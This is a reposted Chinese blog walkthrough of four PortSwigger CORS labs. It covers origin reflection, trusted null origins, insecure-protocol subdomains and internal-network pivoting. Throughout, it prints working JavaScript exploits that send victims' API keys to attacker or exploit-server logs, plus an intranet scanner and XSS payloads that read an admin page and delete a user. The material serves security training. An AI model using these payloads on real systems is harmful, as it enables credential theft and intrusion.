【BP靶场portswigger-客户端13】跨来源资源共享（CORS）-4个实验（全）

news2024/9/17 7:35:47

  

前言：

介绍： 

博主：网络安全领域狂热爱好者（承诺在CSDN永久无偿分享文章）。

殊荣：CSDN网络安全领域优质创作者，2022年双十一业务安全保卫战-某厂第一名，某厂特邀数字业务安全研究员，edusrc高白帽，vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书，华为云、阿里云、51CTO优质博主等。

擅长：对于技术、工具、漏洞原理、黑产打击的研究。

C站缘：C站的前辈，引领我度过了一个又一个技术的瓶颈期、迷茫期。

导读：

面向读者：对于网络安全方面的学者。 

本文知识点（读者自测）： 

（1）跨源资源共享（CORS）（√）

（2）服务器生成ACAO头从客户端指定的原始标头、解析原始标头时出错（√）

（3）白名单中的空原点值、通过 CORS信任关系利用XSS（√）

（4）使用配置不当的CORS中断TLS（√）

（5）没有凭据的内部网和CORS（√）

目录

一、跨源资源共享（CORS）

1、简述：

2、同源政策

3、放宽同源政策

二、CORS配置问题导致的漏洞

1、服务器生成ACAO头从客户端指定的原始标头

        实验1：具有基本原点反射的CORS脆弱性

 2、解析原始标头时出错

 3、白名单中的空原点值

        实验2：具有可信空源的CORS漏洞

4、通过 CORS信任关系利用XSS

5、使用配置不当的CORS中断TLS

        实验3：受信任的不安全协议的CORS漏洞

 6、没有凭据的内部网和CORS

        实验4：CORS漏洞与内部网络枢轴攻击

一、跨源资源共享（CORS）

1、简述：

跨源资源共享（CORS）是一种浏览器机制，它允许对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略的灵活性（ 标准操作规程）.但如果网站的CORS策略配置和实施不当，也可能会导致跨域攻击。CORS无法抵御跨源攻击，如跨站点请求伪造 （CSRF）

2、同源政策

同源策略是一种限制性的跨源规范，它限制网站与源域之外的资源交互的能力。同源策略以应对潜在的恶意跨域交互，如一个网站窃取另一个网站的私人数据。它通常允许一个域向其他域发出请求，但不允许访问响应。 

3、放宽同源政策

1、同源政策的限制性很强，因此设计了各种方法来规避这些限制。许多网站与子域或第三方网站的交互方式需要完全跨源访问。使用跨来源资源共享（CORS）可以有控制地放宽同源政策。

2、跨源资源共享协议使用一组HTTP头，这些头定义了受信任的Web源和相关属性，例如是否允许经过身份验证的访问。这些信息在浏览器和它试图访问的跨源网站之间的头交换中组合。 

二、CORS配置问题导致的漏洞

1、服务器生成ACAO头从客户端指定的原始标头

1、一些应用程序需要提供对许多其他域的访问。维护允许的域列表需要不断的努力，任何错误都有可能破坏功能。因此，一些应用程序采取了有效地允许来自任何其他域的访问的简单途径。

2、一种方法是从请求中阅读Origin头，并包含一个响应头，声明请求源是允许的

。例如，考虑接收以下请求的应用程序：
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

响应如下：
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

这些报头声明允许从请求域（malicious-website.com）进行访问，并且跨源请求可以包括Cookie（Access-Control-Allow-Credentials：true），因此将在会话中处理。


 

3、由于应用程序在Access-Control-Allow-Origin标头中反映任意来源，这意味着任何域都可以访问易受攻击域中的资源。如果响应包含任何敏感信息（如API密钥或CSRF令牌），可以通过在网站上放置以下脚本来检索此信息：

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
};

4、涉及实验：
实验1：具有基本原点反射的CORS脆弱性

实验1：具有基本原点反射的CORS脆弱性

信息：

1、此网站具有不安全的CORS配置，因为它信任所有来源。

2、解决实验：编制一些JavaScript，使用CORS检索管理员的API密钥并将代码上载到漏洞利用服务器。并提交管理员的API密钥

3、已有账号：wiener:peter

part1:

登陆账号，查看历史记录并观察到密钥是通过AJAX请求/accountDetails检索的，并且响应包含Access-Control-Allow-Credentials标头，表明它可能支持CORS

将请求发送到Burp Repeater，并使用添加的标题重新提交：

Origin: https://example.com

观察到原点反映在Access-Control-Allow-Origin标头中

part2:

利用漏洞

在浏览器中，转到漏洞利用服务器并输入以下HTML（将YOUR-LAB-ID替换为您的唯一实验室URL）

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

我的是：
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0aed006704c97c69c0aca55c009300fc.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

单击查看漏洞利用。观察漏洞利用是否有效-您已登录到日志页面，并且您的API密钥位于URL中（点击view即可自测poc，此处不展示了）
返回到利用漏洞攻击服务器，然后单击Deliver exploit to victium（将利用漏洞攻击发送给受害者）

单击“Access log（访问日志）”

 检索并提交受害者的API密钥提交

%20%224G8BvfHagAHOQk1BS1YetCZzQQu2zK2L%22

4G8BvfHagAHOQk1BS1YetCZzQQu2zK2L
（引号我去掉了）

并进行URL解码

 

完成实验

 

 

 2、解析原始标头时出错

1、一些支持从多个来源访问的应用程序通过使用允许来源的白名单来实现这一点。当接收到CORS请求时，将提供的来源与白名单进行比较。如果来源出现在白名单上，则它将反映在Access-Control-Allow-Origin报头中，以便授予访问权限。

如应用程序接收正常请求，如：
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

应用产品将对照其允许的来源列表检查提供的来源，如果来源在列表中，则按如下方式反映来源：
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

2、实施CORS原点白名单时经常会出现错误。一些组织决定允许从其所有子域（包括未来尚不存在的子域）进行访问。并且一些应用程序允许从各种其他组织的域（包括它们的子域）进行访问。这些规则通常通过匹配URL前缀或后缀，或使用正则表达式来实现。实现中的任何错误都可能导致访问权限被授予非预期的外部域。

1、假设某个应用程序赠款对以下列字符结尾的所有域的访问权限：
normal-website.com

攻击者可能能够通过注册以下域获得访问权限：
hackersnormal-website.com

2、假设应用程序赠款对以开头的所有域的访问权限
normal-website.com

攻击者可能能够使用以下域获得访问权限：
normal-website.com.evil-user.net

 3、白名单中的空原点值

1、原始标头的规范支持值null。

浏览器可能会发送该值null在各种异常情况下的原始标题中：
    跨源重定向。
    来自序列化数据的请求。
    使用 file:协议请求。
    沙盒跨来源请求。

某些应用程序可能会将null支持应用程序的本地开发。

例如，假设应用程序接收到以下跨来源请求：
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

并且服务器响应如下：
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

在这种情况下，攻击者可以使用各种技巧生成包含该值的跨源请求null在原始标题中。这将满足白名单，从而实现跨域访问。

例如，这可以使用沙箱来完成 内嵌框架跨来源申请表格：
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

2、涉及实验：

实验2：具有可信空源的CORS漏洞

实验2：具有可信空源的CORS漏洞

信息：

1、此网站具有不安全的CORS配置，因为它信任"空"源。

2、解决实验：编制JavaScript，使用CORS检索管理员的API密钥并将代码上载到漏洞利用服务器。并提交api Key

3、已有账号：wiener:peter

part1:

登陆账号，单击"我的帐户"，查看历史记录并观察到密钥是通过AJAX请求/accountDetails检索的，并且响应包含Access-Control-Allow-Credentials标头，表明它可能支持CORS

将请求发送到Burp Repeater，并使用添加的标题重新提交

Origin: null


观察null来源是否反映在Access-Control-Allow-Origin标题中

part2:

漏洞利用

在浏览器中，转到漏洞利用服务器并输入以下HTML（将YOUR-LAB-ID替换为实验室URL的URL，将YOUR-EXPLOIT-SERVER-ID替换为漏洞利用服务器ID）

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

我的是：
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0aba007e04d40bebc0cc042b007400f9.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://exploit-0a2b00ef049c0b89c073031b01250021.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

注意iframe沙箱的使用，因为这会生成一个空的源请求。
单击"查看漏洞利用"（view）。观察漏洞利用是否有效-已登录到日志页面，API密钥位于URL中（测试poc的可行性，就不在这测了，直接到发给受害者）
返回到利用漏洞攻击服务器并单击"将利用漏洞攻击发送给受害者"。

单击"Access log"（访问日志）

解码

apikey%22%3A%20%226dvJDKFcqnMMWuOfBs2NzzZGoz1YPeVQ%22%2C%0A%20%20%22
apikey": "6dvJDKFcqnMMWuOfBs2NzzZGoz1YPeVQ"

检索提交api Key完成实验

6dvJDKFcqnMMWuOfBs2NzzZGoz1YPeVQ

4、通过 CORS信任关系利用XSS

1、即使"正确"配置的CORS也会在两个源之间建立信任关系。如果网站信任易受跨站点脚本攻击的源（ XSS语言），则攻击者可以利用XSS注入一些JavaScript，该JavaScript使用CORS从信任易受攻击应用程序的站点检索敏感信息。

如以下请求：
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

如果服务器响应为：
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

然后，在www.example.com上发现XSS漏洞的攻击者subdomain.vulnerable-website.com可以使用如下URL检索API密钥：
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

5、使用配置不当的CORS中断TLS

1、假设严格使用HTTPS的应用程序也将使用纯HTTP的受信任子域列入白名单。

例如，当应用程序接收到以下请求时：
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

应用程序响应如下：
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

在这种情况下，能够拦截受害用户通信量的攻击者可以利用CORS配置危害受害用户与应用程序的交互。

此攻击涉及以下步骤：
1、受害者用户发出任何普通HTTP请求。
2、攻击者注入重定向到：
    http://trusted-subdomain.vulnerable-website.com
    受害者的浏览器会跟随重定向。
3、攻击者拦截普通HTTP请求，并将包含CORS请求的欺骗响应返回到：
    https://vulnerable-website.com
4、受害者的浏览器发出CORS请求，包括来源：
    http://trusted-subdomain.vulnerable-website.com
    应用程序允许该请求，因为这是 白名单 起源。请求的敏感数据在响应中返回。
    攻击者的欺骗页面可以读取敏感数据，并将其传输到攻击者控制下的任何域。

即使易受攻击的网站在使用HTTPS方面非常健壮，没有HTTP端点并且所有Cookie都标记为安全，此攻击也会有效。 

2、涉及实验：

实验3：受信任的不安全协议的CORS漏洞

实验3：受信任的不安全协议的CORS漏洞

信息：

1、此网站具有不安全的CORS配置，因为它信任所有子域，而不管协议如何。

2、解决实验：编制JavaScript，使用CORS检索管理员的API密钥并将代码上载到漏洞利用服务器。并提交api key

3、已有账号：wiener:peter

part1:

登陆账号，查看历史记录并观察到密钥是通过AJAX请求/accountDetails检索的，并且响应包含Access-Control-Allow-Credentials标头，表明它可能支持CORS。

将请求发送到Burp Repeater，并使用添加的标题Origin重新提交： 

Origin:http://subdomain.lab-id
（lab-id 是实验室域名）

我的是：
Origin:http://subdomain.0a4700a903395d98c0e42285006b0014.web-security-academy.net


观察来源是否反映在Access-Control-Allow-Origin标头中，确认CORS配置是否允许从任意子域（HTTPS和HTTP）进行访问

part2:

组合利用
打开一个产品页面，单击Check stock并观察它是使用一个子域上的HTTP URL加载的


注意到productID参数易受XSS攻击

 

在浏览器中，转到漏洞利用服务器并输入以下HTML，将YOUR-LAB-ID替换为您的唯一实验室URL，将YOUR-EXPLOIT-SERVER-ID替换为您的漏洞利用服务器ID：

<script>
    document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

我的是：
<script>
    document.location="http://stock.0a4700a903395d98c0e42285006b0014.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a4700a903395d98c0e42285006b0014.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aef008603225dd5c0fe210801970018.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

单击查看漏洞利用。观察漏洞利用是否有效（view），已登录到日志页面，API密钥位于URL中
返回到利用漏洞攻击服务器，然后单击Deliver exploit to victium（将利用漏洞攻击发送给受害者）


单击“Access log（访问日志）”

 

检索api key

apikey%22:%20%22LPfbAvOVfaP3D2Wx04Zp18UOWFRuilcz%22

进行解码

apikey": "LPfbAvOVfaP3D2Wx04Zp18UOWFRuilcz"

 提交，完成实验

LPfbAvOVfaP3D2Wx04Zp18UOWFRuilcz

 

 6、没有凭据的内部网和CORS

1、大多数CORS攻击依赖于响应报头的存在：

Access-Control-Allow-Credentials: true

如果没有该标头，受害用户的浏览器将拒绝发送他们的cookie，这意味着攻击者只能访问未经身份验证的内容，他们可以通过直接浏览目标网站轻松访问这些内容。

2、但有一种常见的情况是攻击者无法直接访问网站：当它是组织内部网的一部分，并且位于私有IP地址空间中时。内部网站的安全标准通常低于外部网站，这使得攻击者能够找到漏洞并获得进一步的访问权限。

例如，专用网络内的跨来源请求可以如下：
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

并且服务器响应如下：
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

3、应用程序服务器信任来自任何来源的资源请求，而无需凭据。如果私有IP地址空间内的用户访问公共Internet，则可以从外部站点执行基于CORS的攻击，该外部站点使用受害者的浏览器作为访问内部网资源的代理。

4、涉及实验：

实验4：CORS漏洞与内部网络枢轴攻击

实验4：CORS漏洞与内部网络枢轴攻击

信息：

1、此网站具有不安全的CORS配置，因为它信任所有内部网络来源。

2、完成实验：编制JavaScript来定位本地网络（192.168.0.0/24，端口8080）上的端点，然后使用该端点来识别和创建基于CORS的攻击以删除用户。删除用户carlos

part1:

需要扫描本地网络以查找端点。将$collaboratorPayload替换为Collaborator有效负载或漏洞利用服务器URL

我的漏洞利用服务器
http://exploit-0a000082039e8219c2f833a701b700cb.exploit-server.net/

<script>
var q = [], collaboratorURL = 'http://$collaboratorPayload';

for(i=1;i<=255;i++) {
	q.push(function(url) {
		return function(wait) {
			fetchUrl(url, wait);
		}
	}('http://192.168.0.'+i+':8080'));
}

for(i=1;i<=20;i++){
	if(q.length)q.shift()(i*100);
}

function fetchUrl(url, wait) {
	var controller = new AbortController(), signal = controller.signal;
	fetch(url, {signal}).then(r => r.text().then(text => {
		location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
	}))
	.catch(e => {
		if(q.length) {
			q.shift()(wait);
		}
	});
	setTimeout(x => {
		controller.abort();
		if(q.length) {
			q.shift()(wait);
		}
	}, wait);
}
</script>

在漏洞利用服务器中输入以下代码。单击存储，然后单击“将漏洞利用发送给受害者”。

 检查日志或Collaborator交互组件，并查看发送给它的代码参数

192.168.0.175:8080

part2:

重新在利用漏洞攻击服务器中输入以下代码。将$ip替换为从协作者交互中检索到的IP地址和端口号。不要忘记添加Collaborator有效负载或再次利用服务器URL。更新并提供漏洞利用。

<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
	fetch(url).then(r => r.text().then(text => {
		xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
	}))
}

fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>

 现在我们将探测用户名字段中的XSS漏洞。

 检索URL中具有foundXSS=1的Collaborator交互；或者在日志中看到foundXSS=1

part3:

重新在利用漏洞攻击服务器中输入以下代码。将$ip替换为与步骤2中相同的IP地址和端口号，再次添加Collaborator有效负载或漏洞利用服务器。更新并提供漏洞利用

<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
	fetch(url).then(r=>r.text().then(text=>
	{
		xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
	}
	))
}

fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>

Collaborator交互或利用服务器日志会提供管理页面的源代码

part4：

检索源代码，会注意到有一个允许删除用户的表单。重新在利用漏洞攻击服务器中输入以下代码。将$ip替换为相同的IP地址和端口号。

<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url){
	fetch(url).then(r=>r.text().then(text=>
	{
	xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
	}
	))
}

fetchUrl("http://$ip");
</script>

 代码通过注入一个指向/admin页面的iframe提交表单以删除carlos

 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/165902.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

2022.12 青少年机器人技术等级考试理论综合试卷（三级）

2022.12 青少年机器人技术等级考试理论综合试卷（三级）

2022年12月 青少年机器人技术等级考试理论综合试卷&#xff08;三级&#xff09; 分数&#xff1a; 100 题数&#xff1a; 30 一、 单选题(共 20 题&#xff0c; 共 80 分) 1.舵机接到 Arduino UNO/Nano 主控板的 2 号引脚&#xff0c; 下列选项中&#xff0c; 实现舵机在 0 度…
阅读更多...
4、字符串处理

4、字符串处理

目录 一、字符串的构造 二、字符串比较 三、字符串查找 四、字符串替换 五、字符串——数值转换 Matlab中的字符串函数有&#xff1a; 一、字符串的构造 字符串或字符串数组的构造可以通过直接给变量赋值来实现&#xff0c;具体表达式中字符串的内容需要写在单引号内。如…
阅读更多...
ESP8266 ArduinoIDE 搭建web服务器与客户端开发

ESP8266 ArduinoIDE 搭建web服务器与客户端开发

一、wifi 相关配置 1.1 无线终端 wifi 模式 此模式中&#xff0c;esp8266 会连接到指定 wifi 进行工作。 #include <ESP8266WiFi.h> // 本程序使用ESP8266WiFi库const char* ssid "home"; // 连接WiFi名&#xff08;此处使用home为示例&…
阅读更多...
Vue2-Vue开发环境搭建

Vue2-Vue开发环境搭建

一、IDE编辑器&#xff1a;Vscode&#xff0c;自行下载安装即可 二、三种引入方式&#xff0c; 教程使用方式一引入 Vue官网&#xff1a;https://v2.cn.vuejs.org/v2/guide/installation.html 方式一&#xff1a;直接script引入 教程下载开发版本&#xff0c;下载到本地&…
阅读更多...
使用人工智能机器人提高农业效率| 数据标注

使用人工智能机器人提高农业效率| 数据标注

人工智能技术创新不仅仅蔓延到智慧城市、智能建筑或新的混合工作模式&#xff1b;机器人还通过人工智能、自动拖拉机、实时监测农作物的传感器、无人机或水果和蔬菜收获机器人来彻底改变农业。今天&#xff0c;我们将向您介绍一些已经在农业中使用的最有趣的AI技术&#xff0c;…
阅读更多...
微信小程序textarea的placeholder的行高怎么修改

微信小程序textarea的placeholder的行高怎么修改

目前不支持修改行高。如果你的内容设置了行高但是placeholder没有行高会导致输入内容的时候感觉不是对齐的&#xff0c;想要解决这个问题怎么办呢/ 我们可以自己写个text假装是placeholder的内容。然后textarea获取焦点输入内容的时候就不显示这个text的内容。 <view class…
阅读更多...
新入公司 git基本命令使用(二) 小乌龟版

新入公司 git基本命令使用(二) 小乌龟版

git命令行的操作复杂不直观,且容易出错. 这里推荐大家使用 git版小乌龟插件进行使用 下载地址 :https://tortoisegit.org/download/ 安装一路next即可 创建本地仓库 右键点击克隆, 然后输入项目地址,确认 拉取代码 右键点击同步 , 然后再界面中选择好对应的分支, 点击拉取 …
阅读更多...
朴素贝叶斯分类算法和实例演示

朴素贝叶斯分类算法和实例演示

文章目录贝叶斯公式算法原理实例演示代码实现本文开始&#xff0c;我们来学习一种新的机器学习方法&#xff1a;贝叶斯算法。 这次从最基础的朴素贝叶斯分类算法出发&#xff0c;了解相关的算法原理。 考虑如下一种分类问题&#xff1a;样本中只包含2类特征&#xff0c;标签只…
阅读更多...
接口返回数据实体类属性大写变成小写

接口返回数据实体类属性大写变成小写

问题背景 今天遇到一个特别恶心的事情&#xff0c;我的返回实体类遵循了字段属性明明规则&#xff0c;驼峰命名法&#xff0c;在接口返回数据给前端的时候&#xff0c;所有数字那个字母全部自动变为了小写字母&#xff01; 错误的返回示例&#xff1a; 正确的返回示例&#x…
阅读更多...
【鸟哥杂谈】腾讯云 CentOS8 Linux环境搭建docker

【鸟哥杂谈】腾讯云 CentOS8 Linux环境搭建docker

忘记过去&#xff0c;超越自己 ❤️ 博客主页 单片机菜鸟哥&#xff0c;一个野生非专业硬件IOT爱好者 ❤️❤️ 本篇创建记录 2023-01-15 ❤️❤️ 本篇更新记录 2023-01-15 ❤️&#x1f389; 欢迎关注 &#x1f50e;点赞 &#x1f44d;收藏 ⭐️留言&#x1f4dd;&#x1f64…
阅读更多...
当青训营遇上码上掘金之主题四-攒青豆

当青训营遇上码上掘金之主题四-攒青豆

theme: juejin 攒青豆 现有 n 个宽度为 1 的柱子&#xff0c;给出 n 个非负整数依次表示柱子的高度&#xff0c;排列后如下图所示&#xff0c;此时均匀从上空向下撒青豆&#xff0c;计算按此排列的柱子能接住多少青豆。&#xff08;不考虑边角堆积&#xff09; 以下为上图例子…
阅读更多...
【JavaEE初阶】第一节.计算机是如何工作的

【JavaEE初阶】第一节.计算机是如何工作的

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言 文章目录 前言 一、计算机发展历史 二、冯诺依曼体系 三、CPU 3.1 浅谈CPU 3.2 寄存器 3.3 指令 3.4 CPU的操作流程 3.5 时钟周期 四、编程语言 总结…
阅读更多...
vue.js客服系统实时聊天项目开发（四）引入iconfont图标代码

vue.js客服系统实时聊天项目开发（四）引入iconfont图标代码

普通引入模式下是这样的 首先&#xff0c;您需要在iconfont.cn上创建一个账号并添加图标。 然后&#xff0c;将iconfont的链接代码加入到页面的head标签中&#xff0c;例如&#xff1a; <link rel"stylesheet" href"//at.alicdn.com/t/font_123456_abcdefghi…
阅读更多...
Docker为什莫方便（学习的记录）

Docker为什莫方便（学习的记录）

Docker为什莫方便&#xff08;学习的记录&#xff09; 程序 — apk— 发布到商城------下载安装即可使用 程序----打包项目带上环境&#xff08;创建一个项目的镜像&#xff09;-----发布到docker仓库当中------下载安装运行即可 &#x1f315; docker的核心思想 将各个环境…
阅读更多...
【手写 Vue2.x 源码】第二十七篇 - Vue 生命周期的实现

【手写 Vue2.x 源码】第二十七篇 - Vue 生命周期的实现

一&#xff0c;前言 上篇&#xff0c;主要介绍了数组依赖收集的实现 本篇&#xff0c;Vue 生命周期的实现 二&#xff0c;Vue.mixin 介绍 1&#xff0c;mixin 简介 Vue2 中可以通过 Vue.mixin 为 vue 进行功能扩展 开发中&#xff0c;经常使用 mixin 来为所有组件增加一些生…
阅读更多...
机器学习的相关软件框架下载安装

机器学习的相关软件框架下载安装

文章目录一、Anaconda1. Anaconda 的下载2. Anaconda 的安装3. Anaconda Navigator 打不开问题&#xff08;不适用所有&#xff09;二、PyTorch-CPU1. PyTorch 环境创建2. PyTorch 下载3. Jupyter 中使用 PyTorch三、Python 版本升级与包的维护1. 更新 Anaconda2. 查看与更新 p…
阅读更多...
回归预测 | MATLAB实现SSA-LSSVM麻雀算法优化最小二乘支持向量机多输入单输出

回归预测 | MATLAB实现SSA-LSSVM麻雀算法优化最小二乘支持向量机多输入单输出

回归预测 | MATLAB实现SSA-LSSVM麻雀算法优化最小二乘支持向量机多输入单输出 目录回归预测 | MATLAB实现SSA-LSSVM麻雀算法优化最小二乘支持向量机多输入单输出预测效果基本介绍模型描述程序设计参考资料预测效果 基本介绍 MATLAB实现SSA-LSSVM麻雀算法优化最小二乘支持向量机…
阅读更多...
【MAUI】自动更新功能的安卓App

【MAUI】自动更新功能的安卓App

自动更新功能的安卓App自动更新主要下面4个步骤更新服务测试页面:MainPage.xaml测试自动更新主要下面4个步骤 1、获取最新版本号 2、提示用户发现更新&#xff0c;等待用户确认更新 3、下载最新的apk包 4、安装apk包 更新服务 为简单示例&#xff1a;直接在android平台文件夹…
阅读更多...
Spring资源管理，Spring资源管理源码分析

Spring资源管理，Spring资源管理源码分析

文章目录一、Java标准资源管理1、Java 标准资源定位2、Java URL 协议扩展基于 java.net.URLStreamHandlerFactory基于 java.net.URLStreamHandler3、Java 标准资源管理扩展的步骤4、Spring为什么不用Java标准的资源管理二、Spring资源接口与实现1、Spring基本资源接口InputStre…
阅读更多...
C++ 简单实现RPC网络通讯

C++ 简单实现RPC网络通讯

RPC是远程调用系统简称&#xff0c;它允许程序调用运行在另一台计算机上的过程&#xff0c;就像调用本地的过程一样。RPC 实现了网络编程的“过程调用”模型&#xff0c;让程序员可以像调用本地函数一样调用远程函数。最近在做的也是远程调用过程&#xff0c;所以通过重新梳理R…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023